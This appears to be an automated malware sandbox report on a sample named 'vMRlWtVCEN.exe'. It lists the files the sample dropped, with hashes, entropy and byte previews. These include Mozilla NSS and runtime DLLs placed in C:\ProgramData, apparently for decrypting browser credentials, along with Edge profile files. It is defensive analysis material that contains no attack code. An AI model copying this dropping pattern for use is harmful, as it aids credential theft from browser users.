Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......s,.>7M.m7M.m7M.m\|5.l<M.m\|5.l.M.m\|5.l#M.m'..l"M.m'..l'M.m'..l.M.m\|5.l:M.m7M.m.M.m7M.mlM.m...l6M.m...l6M.mRich7M.m........................PE..L......g.........."!...)............P.....................................................@..........................\..l...<].................................. 8...(..T....................(......@'..@............................................text............................... ..`.rdata..zV.......X..................@..@.data...T....p.......N..............@....reloc.. 8.......:...X..............@..B........................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\vMRlWtVCEN.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: HLTXqY2TH1.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: g7TubE2bYo.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\vMRlWtVCEN.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\vMRlWtVCEN.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\vMRlWtVCEN.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\vMRlWtVCEN.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\vMRlWtVCEN.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\4685c094-ef7c-46e8-a78e-f08eff52f8f2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46502
Entropy (8bit):	6.085731482004361
Encrypted:	false
SSDEEP:	768:wMkbJrT8IeQcrQgHKl8ci1zNtiE1J8DP9BTOzhy1DhuCiogJDSgzMMd6qD47u30/:wMk1rT8HnKNGz014FogtSmd6qE7h
MD5:	C1B03DB96BDE2B5B5E85EEA941464A1D
SHA1:	BDC9FF334C0B8D132BEA4BDD9E9382AE87875707
SHA-256:	4AE2C1ECF06DF1CCA7AE4EB5FD113A014D275CF8A8FFC5F87871A7BA3BF81EFB
SHA-512:	11F606E1C98C7AFF204D9E1AFA30E922416A368122BD13FA2EFF02DF7C9956763644FB3DA7A1BADC2A2861F5ADF2BF67D4C59A95F07391F54930A37DD4A9647D
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13375470332109166","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"6b9433be-d389-44e4-99db-d785b1b6b45c"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6q

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\630d2bc8-064a-4263-b4b4-d3aa4bb0cd6a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089776872224137
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWHdi1zNtPMGkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynp1kzItSmd6qE7lFoC
MD5:	EF5AD6491FAD52D8A5B98F192C660D50
SHA1:	D0F9998EE09ED62E7E8DE5D70E82B00EC990D642
SHA-256:	4AF7811270C375E222A1B720D21CEED4B4FDC1AC0851BE6A44CFE934E56F75D1
SHA-512:	469D8092B8C769C0F7D1B95BD776558DFF5705C0137260BA2F07491CE810C12CAA08BA2112E30C6C0CB0502E7F01F8CD58C4C1EC2E8398F05BE5A42020A38274
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\6492ccfa-535f-4f60-9dbf-b85b60297342.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44898
Entropy (8bit):	6.094497071495738
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWVJi1zNtiNNQnbVDFe4AKJDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynCNxKtSmd6qE7lFoC
MD5:	6DA8C95C5A99CDE5A07D77F9DF4DF7E8
SHA1:	3C2D9ADBDAE2FF315A0BF768033D895D8D6EDA54
SHA-256:	80DB82EBDD5C5311A20B0FCBF05C116A7B0CF4A96E9B77D56A2E48B9396E01C8
SHA-512:	E3B5330E6F00B078AFDFC53D5329493BF88AA973DCCE0A62A3070A3216EE663A806D7A2DD8639B86957D3A350113B3071F1DAE39C6534B300F13D8AF260BF619
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\8bea695a-199f-4e52-9265-3a421d7f31d2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640135461872496
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7x:fwUQC5VwBIiElEd2K57P7x
MD5:	19DB9AF7D3FDB56FDD8CB17DB154752C
SHA1:	FC38FEED3175DB5F9C8C17DA55B594B7875D0F92
SHA-256:	9033818BAA03976518D89725A48837BDB1B8876927163DAE2ED48A2226AA6ABE
SHA-512:	5A32D07505128BF3DB8A1D2E51F43B502C7270CC3F656126981597DB2676C3DA465C34D1A2DDB965C6F79C9F809824DCA794014D77B53EDB948602DEB8575D6C
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640135461872496
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7x:fwUQC5VwBIiElEd2K57P7x
MD5:	19DB9AF7D3FDB56FDD8CB17DB154752C
SHA1:	FC38FEED3175DB5F9C8C17DA55B594B7875D0F92
SHA-256:	9033818BAA03976518D89725A48837BDB1B8876927163DAE2ED48A2226AA6ABE
SHA-512:	5A32D07505128BF3DB8A1D2E51F43B502C7270CC3F656126981597DB2676C3DA465C34D1A2DDB965C6F79C9F809824DCA794014D77B53EDB948602DEB8575D6C
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-672CE9FB-1F08.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.4534648174311469
Encrypted:	false
SSDEEP:	3072:R4iEioxlE+d0WNBGnRMaPkcitXRtsg83mjOdycvq5WbkOnJ8g1HF7:NZoZenRMAkciL5dOlvq5WbkOnJ8aHR
MD5:	9DF4FCD262BE3104C65031FE4A5C8FC7
SHA1:	2F6B7797DB539B9BAB812DE6F271C49BC2DE86B4
SHA-256:	A618DA1DBAD5CFA7A1FD985631DDEE7209D00A68DB5CB1460A3CDAA55E2562E4
SHA-512:	9E1B3EB591F08379B02494D4586EF3FB1FFF47CA07BA3470009C57BDBCD9BDC86458909B3DCCCD9FD642B448655D93BBE77ABF4406B7DEBE13AF6FA09983A12B
Malicious:	false
Preview:	...@..@...@.....C.].....@...............`...................`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30...............117.0.2045.55-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".iilrjo20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@....................................w..U?:K...G...W6.>.........."....."...24.."."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...Nb.X9.I@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2........6...... .2.......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.0984945491284295
Encrypted:	false
SSDEEP:	3:FiWWltlcUpPmPIijS3XbnbO6YBVP/Sh/JzvbYuDRBOc7cEJHCll:o1cUh4Y3LbO/BVsJDbYuDRBOycd
MD5:	AFAC5E4CC1213807ACB7D1A0F61BCF99
SHA1:	FEDCA0A829A0DBCCD1E9D7048398372FF9604783
SHA-256:	FF48F538CBF3D665C9B115D6F3F6459E0CD7D9DF368E921E5A4BF2CA88E3C55F
SHA-512:	44F1A7E8C8DD1D5CE625AE26ED4074900A979ACD34BAFB3D3B354145690D37D34E07F2D0D9DEE81BE80EAFA9E3973AB11AD6E85EB23A804958584D8DB4902D66
Malicious:	false
Preview:	sdPC.....................cT..\.E.....P."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................7aa5fc64-f4df-45d8-92ed-89470ca1c2d2............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\2955933d-50d1-4d5c-96d9-4980a78bbacd.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\31260cd2-3716-4404-b576-ddd4ed716c13.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9757
Entropy (8bit):	5.1044231777857885
Encrypted:	false
SSDEEP:	192:stWkdprsMcSaFvrE9ksTF8xbV+F0jQAPUNP3YJ:stWQrsdSCD/bGEQNO
MD5:	70964B6C049B1938A600C2137DD8D1F3
SHA1:	2407A7FBE233DF7EE37DA6ADE68220AA60776B50
SHA-256:	B7FBEF05E557A3651FBAA56C0166019F02A1D9DEADADF4158E396C44BBD1CFDB
SHA-512:	8646A4C48ED2D082CC9C559714AAD1227BE636577295CD71D988CB06921FD6D276927BA02EAF377CB8F0C83479D476C308520FB025B29BDDCF84B4F7D91C349F
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375470331820863","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\3d50e259-7958-4b89-ad00-c9e422f419e8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40504
Entropy (8bit):	5.561287842333109
Encrypted:	false
SSDEEP:	768:um3wejW5Q7pLGLpkmW5w8mf4SS8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPgAixINCS:uSrjeccpkmWa8mfRSu1jaZAieEVSE22S
MD5:	B7C67919EF064F0ED5471D1D9B31131F
SHA1:	80225F359E89B197BD5FAAD78415FA246CD8D650
SHA-256:	6AD86DC416E679478AAF6A7017DDCB057D9BC9E2BE6EE2D3334BEFB7F3C77C69
SHA-512:	B2FC6C911C0ADEB0F1135A399042244A31C5A444E2089B94091BDB6DADEA962542EE82A908B4896F4C009A875B24DF23BE34B80ACC4F95A4312F34981F8876DE
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13375470331302687","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13375470331302687","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\614339de-d9b7-4e11-b7fa-e43f8f5acb39.tmp

Download File

